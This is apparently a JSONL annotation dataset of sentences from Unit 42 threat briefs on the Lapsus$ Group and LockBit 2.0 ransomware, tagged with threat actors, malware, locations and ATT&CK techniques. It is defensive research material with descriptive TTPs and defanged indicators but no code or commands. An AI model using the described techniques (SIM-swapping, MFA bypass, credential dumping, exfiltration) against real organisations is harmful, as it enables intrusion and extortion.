-{"id":2596,"text":"This was followed in short order by attacks on South American telecoms providers Claro and Embratel, Brazilian state-owned postal service “Correios,” and Portuguese media giant Impresa.","entities":[{"id":47784,"label":"location","start_offset":101,"end_offset":110},{"id":47785,"label":"identity","start_offset":139,"end_offset":147},{"id":47786,"label":"location","start_offset":154,"end_offset":164},{"id":47781,"label":"location","start_offset":47,"end_offset":61},{"id":47783,"label":"identity","start_offset":91,"end_offset":99},{"id":47787,"label":"identity","start_offset":176,"end_offset":184},{"id":47782,"label":"identity","start_offset":81,"end_offset":86}],"relations":[{"id":352,"from_id":47787,"to_id":47786,"type":"located-at"},{"id":353,"from_id":47785,"to_id":47784,"type":"located-at"},{"id":354,"from_id":47782,"to_id":47781,"type":"located-at"},{"id":355,"from_id":47783,"to_id":47781,"type":"located-at"}],"Comments":[]}
-{"id":2597,"text":"This initial focus has led to speculation that Lapsus$ Group may be Brazilian, although we understand the choice of targets to have been influenced by extended team members rather than the team leadership.","entities":[{"id":47788,"label":"threat-actor","start_offset":47,"end_offset":54},{"id":47789,"label":"location","start_offset":68,"end_offset":77}],"relations":[{"id":356,"from_id":47788,"to_id":47789,"type":"located-at"}],"Comments":[]}
-{"id":2598,"text":" Apart from Argentinian eCommerce provider Mercado Libre \/ Mercado Pago, subsequent victimology has departed South America and pivoted to focus on the high-tech sector.  Recent public victims have included:  It should be understood that in addition there are likely any number of other victims, targeted by attacks not known in the public sphere.","entities":[{"id":45606,"label":"location","start_offset":12,"end_offset":23},{"id":45608,"label":"identity","start_offset":43,"end_offset":56},{"id":45609,"label":"identity","start_offset":59,"end_offset":71},{"id":45610,"label":"location","start_offset":109,"end_offset":122}],"relations":[{"id":357,"from_id":45608,"to_id":45606,"type":"located-at"},{"id":358,"from_id":45609,"to_id":45606,"type":"located-at"},{"id":359,"from_id":45609,"to_id":45608,"type":"related-to"}],"Comments":[]}
-{"id":2599,"text":"It is likely that some victims are not the intended end-target, but are rather breached in order to gain access to their customers, or for example, to help bypass multi-factor authentication (MFA).","entities":[],"relations":[],"Comments":[]}
-{"id":2600,"text":"To this end, we are aware of this actor’s involvement in vishing, SIM-swapping and soliciting third parties at providers for insider access.","entities":[],"relations":[],"Comments":[]}
-{"id":2601,"text":"For example, in the “proof” of the Okta breach posted on the Lapsus$ Group’s Telegram channel, the actor states: “… our focus was ONLY on okta customers” (Figure 3)","entities":[{"id":45614,"label":"identity","start_offset":138,"end_offset":142},{"id":45611,"label":"identity","start_offset":35,"end_offset":39},{"id":45612,"label":"threat-actor","start_offset":61,"end_offset":68},{"id":45613,"label":"SOFTWARE","start_offset":77,"end_offset":85}],"relations":[{"id":360,"from_id":45612,"to_id":45611,"type":"targets"}],"Comments":[]}
-{"id":2602,"text":"Several of the Lapsus$ Group’s attacks involved the theft and publication of source code.","entities":[{"id":47790,"label":"threat-actor","start_offset":15,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":2603,"text":"In the case of Nvidia, it was observed as a non-financial extortion attempt.","entities":[{"id":47791,"label":"identity","start_offset":15,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":2604,"text":"In other cases, for example that of Microsoft, there was simply publication without extortion, again supporting the understanding that the primary motivation of this actor is notoriety rather than financial gain.","entities":[{"id":45615,"label":"identity","start_offset":36,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":2605,"text":" However, as notoriety and success cause this group to grow, we should expect to see diversity of membership reflected in a diversity of victimology, TTPs and action-on-objective motivations.","entities":[],"relations":[],"Comments":[]}
-{"id":2606,"text":" Owing to the diversity of techniques used, and the lack of use of malware, there is no single defense against or detection of Lapsus$ attacks specifically.  ","entities":[{"id":7883,"label":"threat-actor","start_offset":127,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":2607,"text":"A hallmark of this group is the diversity of techniques used both for initial access and action-on-objective.","entities":[],"relations":[],"Comments":[]}
-{"id":2608,"text":"Credentials are harvested from dumps, purchased or spear-phished.","entities":[],"relations":[],"Comments":[]}
-{"id":2609,"text":"When employed, various techniques to bypass MFA are observed – from social engineering, through SIM-swapping and even compromising MFA\/telecoms providers.  Zero Trust network architecture and strong security hygiene are the best defenses against this type of threat actor.","entities":[],"relations":[],"Comments":[]}
-{"id":2610,"text":"If Lapsus$ has purchased credentials for a network, they can effectively operate as an insider threat, taking advantage of the same privileges the employee has inside the network.  Focus on general information security best practices: MFA, access controls and network segmentation.","entities":[{"id":47792,"label":"threat-actor","start_offset":3,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":2611,"text":"Ensure your organization has the ability to detect anomalous activity, including activity that involves trusted third parties in your environments, and protect against non-technical techniques such as vishing and SIM-swapping.","entities":[],"relations":[],"Comments":[]}
-{"id":2612,"text":"Patching of internal systems that might support lateral movement and privilege escalation should be prioritized, as well as against known public exploits that these actors might employ.","entities":[{"id":47793,"label":"attack-pattern","start_offset":69,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":2613,"text":" Although the commodity malware RedLine Stealer has been implicated for credential harvesting in some attacks, it’s unclear if this is first- or third-party, and it cannot be used as a definitive indicator of Lapsus$-specific activity.","entities":[{"id":45617,"label":"malware","start_offset":32,"end_offset":47},{"id":45618,"label":"attack-pattern","start_offset":72,"end_offset":93},{"id":45619,"label":"threat-actor","start_offset":209,"end_offset":216}],"relations":[{"id":109,"from_id":45618,"to_id":45617,"type":"delivers"}],"Comments":[]}
-{"id":2614,"text":" Lapsus$ Group has made headlines recently for high-profile attacks, with an apparent goal of gaining notoriety.","entities":[{"id":47794,"label":"threat-actor","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":2615,"text":"They claim in some cases to have targeted organizations with the specific goal of gaining access to customers.","entities":[],"relations":[],"Comments":[]}
-{"id":2616,"text":" While referred to as a ransomware group in many reports, the Lapsus$ Group is more accurately called an attack group.","entities":[{"id":45620,"label":"threat-actor","start_offset":62,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":2617,"text":"Most notably, their focus to date does not appear to have been on extortion and financial gain.","entities":[],"relations":[],"Comments":[]}
-{"id":2618,"text":"Even without extortion, the group’s attacks and leaks of stolen information can be damaging.","entities":[],"relations":[],"Comments":[]}
-{"id":2619,"text":" Because the group uses a diversity of techniques for attacks, no single technique can protect against Lapsus$ or detect its attacks.","entities":[{"id":45621,"label":"threat-actor","start_offset":103,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":2620,"text":"Because of this, we recommend that organizations focus on observing general information security best practices as described in the Mitigation Actions section above.","entities":[],"relations":[],"Comments":[]}
-{"id":2621,"text":" Unit 42, together with researchers at Unit 221b, identified the primary actor behind the Lapsus$ Group moniker in 2021, and have been assisting law enforcement in their efforts to prosecute this group.","entities":[{"id":47795,"label":"identity","start_offset":1,"end_offset":8},{"id":47796,"label":"identity","start_offset":39,"end_offset":48},{"id":47798,"label":"TIME","start_offset":115,"end_offset":119},{"id":47797,"label":"threat-actor","start_offset":90,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":2622,"text":" If you think you may be subject to an active attack or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.","entities":[{"id":45625,"label":"location","start_offset":241,"end_offset":246},{"id":45627,"label":"location","start_offset":217,"end_offset":221},{"id":45624,"label":"location","start_offset":140,"end_offset":153},{"id":45626,"label":"location","start_offset":194,"end_offset":198},{"id":45623,"label":"identity","start_offset":101,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":2623,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.  DEV-0537 criminal actor targeting organizations for data exfiltration and destruction A Closer Look","entities":[{"id":47799,"label":"identity","start_offset":1,"end_offset":19},{"id":47800,"label":"threat-actor","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":2624,"text":"the","entities":[],"relations":[],"Comments":[]}
-{"id":2625,"text":"LAPSUS$","entities":[{"id":45628,"label":"threat-actor","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":2626,"text":"Data Extortion Group Lapsus$ Telegram channel: t[.]me\/minsaudebr","entities":[{"id":47801,"label":"URL","start_offset":47,"end_offset":64},{"id":7950,"label":"threat-actor","start_offset":21,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":2627,"text":"Email address associated with Lapsus$ Group: saudegroup[at]ctemplar[.]com  Updated March 25, 2022, at 8:30 a.m. PT.","entities":[{"id":47803,"label":"EMAIL","start_offset":45,"end_offset":73},{"id":47802,"label":"TIME","start_offset":83,"end_offset":114},{"id":7951,"label":"threat-actor","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":2628,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2629,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2630,"text":"This post is also available in:      日本語 (Japanese)  LockBit 2.0 is ransomware as a service (RaaS) that first emerged in June 2021 as an upgrade to its predecessor LockBit (aka ABCD Ransomware), which was first observed in September 2019.","entities":[{"id":47805,"label":"TIME","start_offset":121,"end_offset":130},{"id":47806,"label":"malware","start_offset":164,"end_offset":171},{"id":47808,"label":"TIME","start_offset":223,"end_offset":237},{"id":47804,"label":"malware","start_offset":53,"end_offset":64},{"id":47807,"label":"malware","start_offset":177,"end_offset":192}],"relations":[{"id":361,"from_id":47804,"to_id":47806,"type":"variant-of"},{"id":363,"from_id":47807,"to_id":47806,"type":"duplicate-of"}],"Comments":[]}
-{"id":2631,"text":"Since its inception, the LockBit 2.0 RaaS attracted affiliates via recruitment campaigns in underground forums, and thus became particularly prolific during the third quarter of calendar year 2021.","entities":[{"id":45629,"label":"malware","start_offset":25,"end_offset":36},{"id":45630,"label":"TIME","start_offset":192,"end_offset":196}],"relations":[],"Comments":[]}
-{"id":2632,"text":"The LockBit 2.0 operators claimed to have the fastest encryption software of any active ransomware strain as of June 2021, claiming accordingly that this added to its effectiveness and ability to disrupt the ransomware landscape.","entities":[{"id":47809,"label":"TIME","start_offset":112,"end_offset":121},{"id":7968,"label":"threat-actor","start_offset":4,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":2633,"text":" While several top-tier RaaS affiliate programs, such as Babuk, DarkSide and REvil (aka Sodinokibi) disappeared from the underground in 2021, LockBit 2.0 continued to operate and gradually became one of the most active ransomware operations.","entities":[{"id":47813,"label":"threat-actor","start_offset":88,"end_offset":98},{"id":47810,"label":"threat-actor","start_offset":57,"end_offset":62},{"id":47811,"label":"threat-actor","start_offset":64,"end_offset":72},{"id":47812,"label":"threat-actor","start_offset":77,"end_offset":82},{"id":47814,"label":"TIME","start_offset":136,"end_offset":140},{"id":47815,"label":"malware","start_offset":142,"end_offset":153}],"relations":[{"id":364,"from_id":47813,"to_id":47812,"type":"variant-of"}],"Comments":[]}
-{"id":2634,"text":"While Conti was recognized as being the most prolific ransomware deployed in 2021 per our 2022 Unit 42 Ransomware Threat Report, LockBit 2.0 is the most impactful and widely deployed ransomware variant we have observed in all ransomware breaches during the first quarter of 2022, considering both leak site data and data from cases handled by Unit 42 incident responders.","entities":[{"id":45633,"label":"TIME","start_offset":77,"end_offset":81},{"id":45632,"label":"identity","start_offset":95,"end_offset":102},{"id":45635,"label":"TIME","start_offset":90,"end_offset":94},{"id":45636,"label":"malware","start_offset":129,"end_offset":140},{"id":45637,"label":"TIME","start_offset":257,"end_offset":278},{"id":45631,"label":"threat-actor","start_offset":6,"end_offset":11},{"id":45638,"label":"identity","start_offset":343,"end_offset":350}],"relations":[],"Comments":[]}
-{"id":2635,"text":" According to data analysis of ransomware groups’ dark web leak sites, LockBit 2.0 was the most impactful RaaS for five consecutive months.","entities":[{"id":47816,"label":"malware","start_offset":71,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":2636,"text":"As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022.","entities":[{"id":47817,"label":"TIME","start_offset":6,"end_offset":12},{"id":47818,"label":"malware","start_offset":14,"end_offset":25},{"id":47819,"label":"TIME","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":2637,"text":"And the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.","entities":[{"id":45639,"label":"threat-actor","start_offset":8,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":2638,"text":" Additionally, LockBit 2.0 has affected many companies globally, with top victims based in the U.S., Italy and Germany.","entities":[{"id":47820,"label":"malware","start_offset":15,"end_offset":26},{"id":47821,"label":"location","start_offset":95,"end_offset":99},{"id":47822,"label":"location","start_offset":101,"end_offset":106},{"id":47823,"label":"location","start_offset":111,"end_offset":118}],"relations":[],"Comments":[]}
-{"id":2639,"text":"Its most highly targeted industry verticals include professional services, construction, wholesale and retail, and manufacturing.","entities":[],"relations":[],"Comments":[]}
-{"id":2640,"text":" Palo Alto Networks customers receive protections against LockBit 2.0 attacks from Cortex XDR, as well as from the WildFire cloud-delivered security subscription for the Next-Generation Firewall.","entities":[{"id":47824,"label":"malware","start_offset":58,"end_offset":69},{"id":45640,"label":"identity","start_offset":1,"end_offset":19},{"id":45642,"label":"SOFTWARE","start_offset":83,"end_offset":93},{"id":45643,"label":"SOFTWARE","start_offset":115,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":2641,"text":"(Please see the Conclusion section for more detail.)  LockBit 2.0 Overview Victimology Leak Site Data Unit 42 Incident Response Data on LockBit 2.0 LockBit 2.0 Tactics, Techniques and Procedures LockBit 2.0 Technical Details LockBit 3.0 Courses of Action Conclusion","entities":[{"id":47828,"label":"malware","start_offset":148,"end_offset":159},{"id":47825,"label":"malware","start_offset":54,"end_offset":65},{"id":47826,"label":"identity","start_offset":102,"end_offset":109},{"id":47827,"label":"malware","start_offset":136,"end_offset":147},{"id":47829,"label":"malware","start_offset":195,"end_offset":206},{"id":47830,"label":"malware","start_offset":225,"end_offset":236}],"relations":[],"Comments":[]}
-{"id":2642,"text":"Appendix A Additional Resources","entities":[],"relations":[],"Comments":[]}
-{"id":2643,"text":" LockBit 2.0 is another example of RaaS that leverages double extortion techniques as part of the attack to pressure victims into paying the ransom.","entities":[{"id":45644,"label":"malware","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2644,"text":" In some cases, LockBit 2.0 operators have performed DDoS attacks on the victims' infrastructure as well as using a leak site.","entities":[{"id":47831,"label":"malware","start_offset":16,"end_offset":27},{"id":47832,"label":"attack-pattern","start_offset":53,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":2645,"text":"This practice is known as triple extortion, a tactic observed in groups like BlackCat, Avaddon and SunCrypt in the past.","entities":[{"id":47833,"label":"threat-actor","start_offset":77,"end_offset":85},{"id":47834,"label":"threat-actor","start_offset":87,"end_offset":94},{"id":47835,"label":"threat-actor","start_offset":99,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":2646,"text":" Like other ransomware families such as BlackByte, LockBit 2.0 avoids systems that use Eastern European languages, including many written with Cyrillic alphabets.","entities":[{"id":45646,"label":"malware","start_offset":51,"end_offset":62},{"id":45645,"label":"malware","start_offset":40,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":2647,"text":" Unlike other RaaS programs that don't require the affiliates to be super technical or savvy, LockBit 2.0 operators allegedly only work with experienced penetration testers, especially those experienced with tools like Metasploit and Cobalt Strike.","entities":[{"id":47837,"label":"tools","start_offset":219,"end_offset":229},{"id":47838,"label":"tools","start_offset":234,"end_offset":247},{"id":47836,"label":"threat-actor","start_offset":94,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":2648,"text":"Affiliates are tasked with gaining initial access to the victim network, allowing LockBit 2.0 to conduct the rest of the attack.","entities":[{"id":47839,"label":"threat-actor","start_offset":82,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":2649,"text":" LockBit 2.0 has been observed changing infected computers’ backgrounds to a ransomware note.","entities":[{"id":45647,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2650,"text":"The ransomware note was also used to recruit insiders from victim organizations.","entities":[],"relations":[],"Comments":[]}
-{"id":2651,"text":"The notes claimed the threat actors would pay “millions of dollars” to insiders who provided access to corporate networks or facilitated a ransomware infection by opening a phishing email and\/or launching a payload manually.","entities":[{"id":47840,"label":"attack-pattern","start_offset":173,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":2652,"text":"The threat actors also expressed interest in other access methods such as RDP, VPN and corporate email credentials.","entities":[{"id":47841,"label":"SOFTWARE","start_offset":74,"end_offset":77},{"id":47842,"label":"SOFTWARE","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":2653,"text":"In exchange, they offer a cut of the paid ransom.","entities":[],"relations":[],"Comments":[]}
-{"id":2654,"text":" LockBit 2.0 targets organizations opportunistically.","entities":[{"id":47843,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2655,"text":"The operators work with initial access brokers to save time and allow for a larger profit potential.","entities":[],"relations":[],"Comments":[]}
-{"id":2656,"text":"While typically seeking victims of opportunity, LockBit 2.0 does appear to have victim limitations.","entities":[{"id":47844,"label":"threat-actor","start_offset":48,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":2657,"text":"The group announced that they would not target healthcare facilities, social services, educational institutions, charitable organizations and other organizations that “contribute to the survival of the human race”.","entities":[],"relations":[],"Comments":[]}
-{"id":2658,"text":"However, despite these claims, there have been instances of affiliates undermining these guidelines by still opting to attack industry verticals such as healthcare and education.","entities":[],"relations":[],"Comments":[]}
-{"id":2659,"text":" Organizations in Europe and the U.S. are hit more often by LockBit 2.0 than those in other countries, likely due to the high profitability and insurance payouts.","entities":[{"id":47846,"label":"location","start_offset":33,"end_offset":37},{"id":47847,"label":"threat-actor","start_offset":60,"end_offset":71},{"id":47845,"label":"location","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":2660,"text":" During the first calendar year quarter of 2022, LockBit 2.0 persisted as the most impactful and the most deployed ransomware variant we observed in all ransomware breaches shared on leak sites.","entities":[{"id":47849,"label":"threat-actor","start_offset":49,"end_offset":60},{"id":47848,"label":"TIME","start_offset":12,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":2661,"text":" According to leak site data analysis, LockBit 2.0 was the most impactful RaaS for five consecutive months.","entities":[{"id":45651,"label":"threat-actor","start_offset":39,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":2662,"text":"As of May 25, LockBit 2.0 accounted for 46% of all ransomware-related breach events for 2022 shared on leak sites.","entities":[{"id":47850,"label":"TIME","start_offset":6,"end_offset":12},{"id":47851,"label":"threat-actor","start_offset":14,"end_offset":25},{"id":47852,"label":"TIME","start_offset":88,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":2663,"text":" Additionally, the LockBit 2.0 RaaS leak site has the most significant number of published victims, with over 850 in total.","entities":[{"id":47853,"label":"threat-actor","start_offset":19,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":2664,"text":"The site itself typically features information such as victim domains, a time tracker and measures of how much data was compromised.","entities":[],"relations":[],"Comments":[]}
-{"id":2665,"text":" LockBit 2.0 claims that they have demanded ransom from at least 12,125 companies, as shown in the figure below.","entities":[{"id":47854,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2666,"text":" According to leak site data for LockBit 2.0, since its inception in June 2021, the RaaS has affected many companies globally, with top victims based in the U.S., Italy and Germany.  LockBit 2.0 has also impacted various victims across multiple industry verticals.","entities":[{"id":47855,"label":"threat-actor","start_offset":33,"end_offset":44},{"id":47858,"label":"location","start_offset":163,"end_offset":168},{"id":47860,"label":"threat-actor","start_offset":183,"end_offset":194},{"id":47856,"label":"TIME","start_offset":69,"end_offset":78},{"id":47857,"label":"location","start_offset":157,"end_offset":161},{"id":47859,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":2667,"text":"Its most highly targeted industry verticals include professional services, construction, wholesale and retail and manufacturing.","entities":[],"relations":[],"Comments":[]}
-{"id":2668,"text":" When looking at leak site data across all ransomware families, we’ve observed LockBit 2.0 targeting the highest number of organizations in the following regions: JAPAC, EMEA, and LATAM.","entities":[{"id":47862,"label":"location","start_offset":163,"end_offset":168},{"id":47863,"label":"location","start_offset":170,"end_offset":174},{"id":47864,"label":"location","start_offset":180,"end_offset":185},{"id":47861,"label":"threat-actor","start_offset":79,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":2669,"text":" Cases handled by Unit 42 security consultants involving LockBit 2.0 since its appearance in June 2021 demonstrate shorter dwell times and less flexibility in negotiation in the beginning of FY 2022 (measured October-September) in comparison to the end of FY 2021.","entities":[{"id":47869,"label":"TIME","start_offset":209,"end_offset":226},{"id":47868,"label":"TIME","start_offset":191,"end_offset":198},{"id":47865,"label":"identity","start_offset":18,"end_offset":25},{"id":47866,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":47867,"label":"TIME","start_offset":93,"end_offset":102},{"id":47870,"label":"TIME","start_offset":256,"end_offset":263}],"relations":[],"Comments":[]}
-{"id":2670,"text":"The following data is broken into fiscal years and quarters based on when the threat actor breached the network, not when the activity was noticed by a client.","entities":[],"relations":[],"Comments":[]}
-{"id":2671,"text":" LockBit 2.0 has shown a decrease in dwell time in FY 2022.","entities":[{"id":47872,"label":"TIME","start_offset":51,"end_offset":58},{"id":47871,"label":"threat-actor","start_offset":1,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":2672,"text":"From the last two quarters of FY 2021 to the first two quarters of FY 2022, there has been an average 37-day difference.  ","entities":[{"id":47873,"label":"TIME","start_offset":30,"end_offset":37},{"id":47874,"label":"TIME","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":2673,"text":"The difference in initial and final ransom demands over the past fiscal year has been converted to percentages and then averaged.","entities":[],"relations":[],"Comments":[]}
-{"id":2674,"text":"The graph below demonstrates that at the end of FY 2021, threat actors using LockBit 2.0 were much more open to negotiations of ransom amounts; during that time the ransom was dropped approximately 83% from the initial ask on average.","entities":[{"id":47875,"label":"TIME","start_offset":48,"end_offset":55},{"id":47876,"label":"threat-actor","start_offset":77,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":2675,"text":"In comparison, we see less flexibility in FY 2022 Q1 and Q3 – threat actors only offered an average of about 30% as a price drop.","entities":[{"id":47877,"label":"TIME","start_offset":42,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":2676,"text":"FY 2022 Q2 is not included due to lack of sufficient information.","entities":[{"id":47878,"label":"TIME","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":2677,"text":" Technically speaking, we have observed LockBit 2.0 affiliates leveraging the following tactics, techniques and procedures:  Windows SysInternals PsExec has been utilized for both persistence and execution purposes.","entities":[{"id":47880,"label":"threat-actor","start_offset":40,"end_offset":51},{"id":47879,"label":"tools","start_offset":125,"end_offset":152}],"relations":[{"id":365,"from_id":47880,"to_id":47879,"type":"uses"}],"Comments":[]}
-{"id":2678,"text":"Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities.","entities":[],"relations":[],"Comments":[]}
-{"id":2679,"text":"  LockBit 2.0 was developed using the Assembly and Origin C programming languages and leverages advanced encryption standard (AES) and elliptic-curve cryptography (ECC) algorithms to encrypt victim data.","entities":[{"id":47881,"label":"threat-actor","start_offset":2,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":2680,"text":"It can affect both Windows and Linux OS, as the operator released a Linux version of LockBit 2.0 to target VMware ESXi hypervisor systems in October 2021, coded exclusively in the C programming language.","entities":[{"id":47882,"label":"SOFTWARE","start_offset":19,"end_offset":26},{"id":47883,"label":"SOFTWARE","start_offset":31,"end_offset":39},{"id":47884,"label":"SOFTWARE","start_offset":68,"end_offset":73},{"id":47886,"label":"SOFTWARE","start_offset":107,"end_offset":118},{"id":47887,"label":"TIME","start_offset":141,"end_offset":153},{"id":47885,"label":"threat-actor","start_offset":85,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":2681,"text":" The LockBit group claimed that LockBit 2.0 is “the fastest encryption software all over the world” and provided a comparative table showing the encryption speed of various ransomware samples.  LockBit 2.0 also contains a self-spreading feature, clears logs and can print the ransom note on network printers until the paper runs out.  A management panel that affiliates can use to manage victims and affiliate accounts, generate new ransomware builds and generate the decryptor if the demanded ransom is paid also exists.","entities":[{"id":47888,"label":"threat-actor","start_offset":5,"end_offset":12},{"id":47889,"label":"malware","start_offset":32,"end_offset":43},{"id":47890,"label":"threat-actor","start_offset":194,"end_offset":205}],"relations":[{"id":367,"from_id":47889,"to_id":47888,"type":"authored-by"}],"Comments":[]}
-{"id":2682,"text":"LockBit 2.0 operators also released an information-stealer dubbed StealBit, which was developed to support affiliates of the LockBit 2.0 RaaS when exfiltrating data from breached companies.","entities":[{"id":45655,"label":"malware","start_offset":66,"end_offset":74},{"id":45654,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":45656,"label":"threat-actor","start_offset":125,"end_offset":136}],"relations":[{"id":111,"from_id":45655,"to_id":45654,"type":"authored-by"}],"Comments":[]}
-{"id":2683,"text":" StealBit contains the following capabilities:","entities":[{"id":47891,"label":"malware","start_offset":1,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":2684,"text":" The operator of LockBit 2.0 has provided a comparative table speed showing the information stealer compared to other tools.","entities":[{"id":47892,"label":"threat-actor","start_offset":17,"end_offset":28},{"id":47893,"label":"attack-pattern","start_offset":80,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":2685,"text":" There was a bug that existed in LockBit 2.0 that allowed researchers to revert the encryption process on an MSSQL database.","entities":[{"id":47894,"label":"SOFTWARE","start_offset":109,"end_offset":114},{"id":45657,"label":"threat-actor","start_offset":32,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":2686,"text":"After the bug’s disclosure, LockBit forum members discussed how the bug will not exist in LockBit’s next iteration.","entities":[{"id":47895,"label":"threat-actor","start_offset":28,"end_offset":49},{"id":8199,"label":"malware","start_offset":90,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":2687,"text":"Moreover, on March 17, LockBit forum members mentioned the release of LockBit’s next version in one or two weeks.","entities":[{"id":47896,"label":"TIME","start_offset":13,"end_offset":21},{"id":8201,"label":"malware","start_offset":23,"end_offset":30},{"id":8202,"label":"malware","start_offset":70,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":2688,"text":"On March 25, VX underground posted a tweet with details of this new version, dubbed LockBit Black.","entities":[{"id":45658,"label":"identity","start_offset":13,"end_offset":27},{"id":45659,"label":"TIME","start_offset":3,"end_offset":11},{"id":45661,"label":"malware","start_offset":84,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":2689,"text":" Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks products and services to ensure mitigation of threats related to LockBit 2.0 ransomware, as well as other malware using similar techniques:  Exploit Public-Facing Application [T1190], Command and Scripting Interpreter [T1059], Local Account [T1136.001], Web Shell [T1505.003], Exploitation for Privilege Escalation [T1068], Indicator Removal on Host [T1070], Deobfuscate\/Decode Files or Information [T1140], Disable or Modify Tools [T1562.001], Hidden Window [T1564.003], Valid Accounts [T1078], External Remote Services [T1133], Scheduled Task [T1053.005], Bypass User Account Control [T1548.002], Group Policy Modification [T1484.001]  OS Credential Dumping [T1003], Credentials from Password Stores [T1555]  Network Service Scanning [T1046], Process Discovery [T1057], System Location Discovery [T1614], System Information Discovery [T1082]  Remote Services [T1021], SMB\/Windows Admin Shares [T1021.002]  Remote Access Software [T1219]  Data Transfer Size Limits [T1030], Exfiltration Over C2 Channel [T1041]  Data Encrypted for Impact [T1486], Service Stop [T1489]  †These capabilities are part of the NGFW security subscriptions service","entities":[{"id":47897,"label":"identity","start_offset":111,"end_offset":129},{"id":47898,"label":"threat-actor","start_offset":195,"end_offset":206},{"id":47899,"label":"attack-pattern","start_offset":271,"end_offset":312},{"id":47901,"label":"attack-pattern","start_offset":357,"end_offset":382},{"id":47910,"label":"attack-pattern","start_offset":729,"end_offset":766},{"id":47911,"label":"attack-pattern","start_offset":799,"end_offset":839},{"id":47913,"label":"attack-pattern","start_offset":875,"end_offset":900},{"id":47914,"label":"attack-pattern","start_offset":937,"end_offset":973},{"id":47915,"label":"attack-pattern","start_offset":975,"end_offset":998},{"id":47918,"label":"attack-pattern","start_offset":1105,"end_offset":1141},{"id":47919,"label":"attack-pattern","start_offset":1143,"end_offset":1176},{"id":47922,"label":"attack-pattern","start_offset":902,"end_offset":935},{"id":47923,"label":"attack-pattern","start_offset":1038,"end_offset":1068},{"id":47924,"label":"attack-pattern","start_offset":1178,"end_offset":1198},{"id":47900,"label":"attack-pattern","start_offset":314,"end_offset":355},{"id":47902,"label":"attack-pattern","start_offset":407,"end_offset":452},{"id":47903,"label":"attack-pattern","start_offset":454,"end_offset":487},{"id":47904,"label":"attack-pattern","start_offset":538,"end_offset":573},{"id":47905,"label":"attack-pattern","start_offset":575,"end_offset":600},{"id":47906,"label":"attack-pattern","start_offset":602,"end_offset":624},{"id":47907,"label":"attack-pattern","start_offset":626,"end_offset":658},{"id":47908,"label":"attack-pattern","start_offset":660,"end_offset":686},{"id":47909,"label":"attack-pattern","start_offset":688,"end_offset":727},{"id":47912,"label":"attack-pattern","start_offset":841,"end_offset":873},{"id":47916,"label":"attack-pattern","start_offset":1000,"end_offset":1036},{"id":47917,"label":"attack-pattern","start_offset":1070,"end_offset":1103},{"id":47920,"label":"attack-pattern","start_offset":384,"end_offset":405},{"id":47921,"label":"attack-pattern","start_offset":489,"end_offset":536},{"id":47925,"label":"attack-pattern","start_offset":768,"end_offset":797}],"relations":[],"Comments":[]}
